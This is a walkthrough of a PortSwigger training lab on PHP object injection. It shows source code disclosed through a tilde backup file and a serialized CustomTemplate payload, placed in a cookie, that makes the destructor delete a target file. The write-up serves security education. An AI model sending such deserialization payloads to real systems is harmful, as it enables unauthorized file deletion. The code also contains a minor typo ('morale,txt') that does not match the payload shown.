← Back to Writeups
PORTSWIGGERN/AInsecure Deserialization

Arbitrary object injection in PHP

XESXOR9/2/20262 min read
#insecure deserialization#portswigger#web-security-academy#insecure-deserialization

Arbitrary object injection in PHP

Platform: PortSwigger | Category: Insecure Deserialization | Type: Lab | Difficulty: N/A | OS: N/A | Author: XESXOR | Date: 2026-08-24 | Status: Solved Techniques: Web Security Academy, Insecure Deserialization

Summary

Walkthrough of the PortSwigger Web Security Academy lab Arbitrary object injection in PHP (Insecure Deserialization). This lab demonstrates a insecure deserialization vulnerability and its exploitation to achieve the lab objectives.

Lab Overview

PortSwigger Web Security Academy — Insecure Deserialization

This writeup is part of the XESXOR PortSwigger collection. The original lab description and solution have been preserved and reformatted for clarity.

Lab Description :

image

Solution :

Login as wiener & observe that the cookie is a PHP serialized cookie. image

In the burp's sitemap, we see a CustomTemplate.php file. But upon performing a GET request to that endpoint returns nothing. image

image

Using ~ tilde symbol at the end of file name responds with the source code.

image

php
<?php

class CustomTemplate {
    private $template_file_path;
    private $lock_file_path;

    public function __construct($template_file_path) {
        $this->template_file_path = $template_file_path;
        $this->lock_file_path = $template_file_path . ".lock";
    }

    private function isTemplateLocked() {
        return file_exists($this->lock_file_path);
    }

    public function getTemplate() {
        return file_get_contents($this->template_file_path);
    }

    public function saveTemplate($template) {
        if (!isTemplateLocked()) {
            if (file_put_contents($this->lock_file_path, "") === false) {
                throw new Exception("Could not write to " . $this->lock_file_path);
            }
            if (file_put_contents($this->template_file_path, $template) === false) {
                throw new Exception("Could not write to " . $this->template_file_path);
            }
        }
    }

    function __destruct() {
        // Carlos thought this would be a good idea
        if (file_exists($this->lock_file_path)) {
            unlink($this->lock_file_path);
        }
    }
}

?>

From the above php code, we see that the lock_file_path variable is passed to unlink() & executed when desctructor is called.

So our goal is to create a serialized object cookie where we set the lock_file_path value to rm /home/carlos/morale.txt.

<?php

class CustomTemplate {
   public $lock_file_path='/home/carlos/morale,txt';
    }

$obj = new CustomTemplate();
$test = serialize($obj);
echo $test;
?>

The above code when serialized gives the following output.

Encode it using base64 & then url encode it before sending the malicious payload via cookie to the server.

php
O:14:"CustomTemplate":1:{s:14:"lock_file_path";s:23:"/home/carlos/morale.txt";}

Replace the cookie with the obtained base64 + url-encoded output & refresh the page. Now carlos's file is deleted & thus the lab is solved.

image

Key Takeaways / Lessons

  • Understanding Insecure Deserialization detection and exploitation is crucial for web security.
  • Always validate and sanitize user input; implement proper access controls.
  • This lab is part of the PortSwigger Web Security Academy — practice in a safe, legal environment.

Crafted by XESXOR Research • 2026-08-24 • PortSwigger Web Security Academy • Lab: Arbitrary object injection in PHP